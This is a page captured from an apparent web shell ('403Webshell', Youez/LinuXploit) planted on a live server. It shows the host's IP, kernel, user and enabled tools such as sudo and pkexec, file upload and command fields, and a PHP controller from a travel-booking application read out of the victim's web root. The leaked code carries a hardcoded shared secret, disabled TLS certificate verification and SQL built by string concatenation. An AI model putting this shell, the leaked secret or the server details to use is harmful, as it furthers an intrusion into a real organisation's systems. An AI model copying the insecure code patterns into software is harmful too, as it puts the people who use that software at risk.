403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/manage-tg/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/manage-tg/controllers/PackageController.php
<?php

class ManageTg_PackageController extends Catabatic_ValidateGtx
{

    public function init()
    {
        parent::init();
        $this->_helper->layout->disableLayout();
        $this->_helper->_layout->setLayout('layout-dyanamic-package');
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $this->intLoggedinUserAgencySysId = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->intLoggedinUserId = $sessionLogin_user->intLoggedinUserId;
        $this->_crmcusttravelplan = new Travel_Model_CRM_CustomerTravelPlan();
        $this->_crmcustomerObj = new Travel_Model_CRM_Customer();
        $request = Zend_Controller_Front::getInstance()->getRequest();
        $this->baseUrl = $request->getScheme() . '://' . $request->getHttpHost();
    }

    public function indexAction()
    {
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $objPackage = new Travel_Model_TblPackage();
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            //              print_r($getData);
            $this->view->searchArr = $getData;
            $objPackage->searchArr = $getData;
        }

        $objStaff = new Travel_Model_TblAgencyStaff();
        $AgencyStaffList = $objStaff->getAgencyStaffList(1, NULL, $intLoggedinUserAgencySysId, 0);
        $this->view->AgencyStaffList = $AgencyStaffList;

        $packageList = $objPackage->getPackageListForTG();
        $TPsysIdArr = array_column($packageList, 'TPSysId');
        $TPsysIds = implode(',', $TPsysIdArr);
        //        echo '<pre>'; print_r($AgencyStaffList);
        if (!empty($packageList)) {
            $PackageCitiesList = $objPackage->getPackageCitiesList($TPsysIds);
            $PackageCitiesListArr = array();
            foreach ($PackageCitiesList as $PackageCities) {
                $PackageCitiesListArr[$PackageCities['TPSysId']][] = $PackageCities['CityName'];
            }
            foreach ($PackageCitiesListArr as $key => $PackageCities) {
                $PackageCitiesFinalArr[$key] = implode(', ', $PackageCities);
            }
            $this->view->PackageCitiesFinalArr = $PackageCitiesFinalArr;
        }

        $page = $this->_getParam('page', 1);
        $paginator = Zend_Paginator::factory($packageList);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $paginator->setCurrentPageNumber($page);

        $this->view->paginator = $paginator;
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }

    public function updateStatusAction()
    {
        $this->_helper->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $sessionLogin_user_url = new Zend_Session_Namespace('sessionLogin_user');
        $objPackage = new Travel_Model_TblPackage();
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $tpsysID = $getData['packageid'];
            $packageData = $objPackage->getChildPackageList($tpsysID);
            $masterRefId = $tpsysID;
            if (count($packageData) == 1 && (isset($packageData[0]['MasterRefId']) && (int) $packageData[0]['MasterRefId'] > 0)) {
                $packageData = $objPackage->getChildPackageList($packageData[0]['MasterRefId']);
                $masterRefId = $packageData[1]['MasterRefId'];
            }
            $packageIdArr = array();
            foreach ($packageData as $key => $package) {
                $packageIdArr['TPSysId'][$key] = $package['TPSysId'];
            }
            $packageIds = implode(',', $packageIdArr['TPSysId']);
            $where = "TPSysId IN (" . $packageIds . ")";
            $IsDisplayOnTG = $getData['IsDisplayOnTG'];
            if ($IsDisplayOnTG == 1) {
                $dataArr = array(
                    'IsDisplayOnTG' => 1,
                );
                $url = Catabatic_Helper::getSiteUrl() . "gtxwebservices/push-package/tg";
            } else {
                $dataArr = array(
                    'IsDisplayOnTG' => 0,
                );
                $url = Catabatic_Helper::getSiteUrl() . "gtxwebservices/push-package/deactivate";
            }
            $this->postFields = "";
            $this->postFields .= "&AgencySysId=" . Travel_Model_AgencyAuth::getIdentity()->AgencySysId;
            $this->postFields .= "&packageId=$masterRefId";
            $this->postFields .= "&URL=" . trim($sessionLogin_user_url->agencyDetails['Url']);
            $this->postFields .= "&sCode=ewr53bg";
            $writeLogObj = new Payment_Model_Payment();
            $writeLogObj->writeLog($this->postFields . "\n");
            $status = true;
            $message = "";
            try {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_POST, 1);
                if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') {
                    curl_setopt($ch, CURLOPT_PORT, 443);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
                }
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $this->postFields);
                $output = curl_exec($ch);
                /*   echo '<pre>';
                print_r($output);
                exit; */
                $writeLogObj->writeLog($output . "\n");
                curl_close($ch);
                $data = json_decode(stripslashes($output), true);
                if (empty($data['success'][0])) {
                    $dataArrFail = array(
                        'IsDisplayOnTG' => 0
                    );
                    $status = false;
                    $message = "Fail";
                } else {
                    $status = true;
                    $message = "Success";
                    $dataArrFail = array(
                        'IsDisplayOnTG' => 1
                    );
                }
                $updateId = $objPackage->updateData('TB_TravelPlan', $dataArrFail, $where);
            } catch (Zend_Exception $ex) {
                $status = false;
                $message = "Fail";
                $dataArrFail = array(
                    'IsDisplayOnTG' => 0,
                );
                $updateId = $objPackage->updateData('TB_TravelPlan', $dataArrFail, $where);
                $ex->getMessage();
            }
        }

        $resultset = array("successs" => $status, "message" => $message);

        echo json_encode($resultset);
        exit;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit